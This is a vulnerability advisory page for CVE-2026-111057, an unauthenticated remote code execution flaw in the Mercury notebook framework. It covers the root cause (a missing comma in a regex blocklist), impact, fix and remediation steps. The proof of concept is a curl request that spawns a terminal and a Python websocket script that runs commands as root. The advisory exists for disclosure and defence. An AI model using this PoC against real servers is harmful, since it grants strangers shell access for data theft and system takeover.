CVE-2026-111057: Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass

Published Oct 19, 2026
·
Updated

Summary A missing comma in mercuryapp/blockhandler.py's BLOCKEDPATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

Details The blocklist in mercuryapp/blockhandler.py is defined as: BLOCKEDPATTERNS = [ # JupyterLab UI + API r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.)?" r"/api/terminals(?:/.)?", r"/api/shutdown(?:/.)?", r"/files(?:/.)?", ] The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.)?/api/terminals(?:/.)? (the first two lines joined together) /api/shutdown(?:/.)? /files(?:/.)?

A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

PoC Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration. Step 1 - spawn a terminal:

curl -i -X POST http://localhost:8888/api/terminals Response: {"name": "1", "lastactivity": "..."}

Step 2 - connect to the terminal and execute commands:

python3 -c " import websocket, json, time

ws = websocket.createconnection('ws://localhost:8888/terminals/websocket/1') print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n'])) time.sleep(1)

ws.settimeout(2) try: while True: print(ws.recv()) except Exception: pass "

Observed output:

["setup", {}] ["stdout", "# "] ["stdout", "whoami && id\r\n"] ["stdout", "root\r\n"] ["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Confirms full, interactive root shell access with no authentication or prior access of any kind.

Impact - Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets). - Integrity: attacker can modify or delete any file, including notebooks served to other users. - Availability: attacker can shut down or crash the server/container. - Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

Fix Add the missing comma so /api/terminals becomes an independent blocklist rule: BLOCKEDPATTERNS = [ # JupyterLab UI + API r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.)?", r"/api/terminals(?:/.)?", r"/api/shutdown(?:/.)?", r"/files(?:/.)?", ]

Other sources

Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. From 3.0.0 until 3.2.4, a missing comma in BLOCKEDPATTERNS concatenates the /lab and /api/terminals regular-expression literals. Requests to /api/terminals therefore bypass the anonymous endpoint blocklist and reach Jupyter Server's terminal API. An unauthenticated attacker can use the resulting interactive operating-system shell to execute commands and access data available to the Mercury process. This issue is fixed in version 3.2.4.

— MITRE

Affected Software

2 affected componentsFixes available
pypi/mercury>=3.0.0<3.2.4
pip/mercury>=3.0.0<=3.2.3
3.2.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/mercury to a version that resolves this vulnerability.

    Fixed in 3.2.4
  2. Upgrade

    Upgrade Mercury to a version that resolves this vulnerability.

    Fixed in 3.2.4
  3. Configuration

    In mercury_app/block_handler.py, add the missing comma between the /lab and /api/terminals regular-expression literals in BLOCKED_PATTERNS.

    Mercury BLOCKED_PATTERNS = Add a comma so /api/terminals(?:/.*)? is an independent rule
  4. Compensating control

    Restrict network access to the Mercury server using a VPN, reverse-proxy authentication, or a firewall.

Event History

Oct 19, 2026
CVE Published
via MITRE·04:04 PM
Data Sourced
via MITRE·04:04 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:17 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·05:00 PM
Data Sourced
via GitHub·05:00 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Mercury installations running versions from 3.0.0 through 3.2.4 are affected if an attacker can reach the application's /api/terminals endpoint over the network. The issue permits unauthenticated access to Jupyter Server's terminal API.

2

What does an attacker need to exploit this issue?

The attacker needs only network access to the affected Mercury instance and does not need authentication or user interaction. They can use the exposed terminal API to obtain an interactive operating-system shell.

3

What is the impact of successful exploitation?

An attacker can execute commands with the privileges of the Mercury process and access data available to that process. This can affect confidentiality, integrity, and availability.

4

What should teams do if they cannot patch immediately?

Restrict network access to Mercury, particularly the /api/terminals endpoint, so untrusted users cannot reach it. Upgrading to version 3.2.4 fixes the issue.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203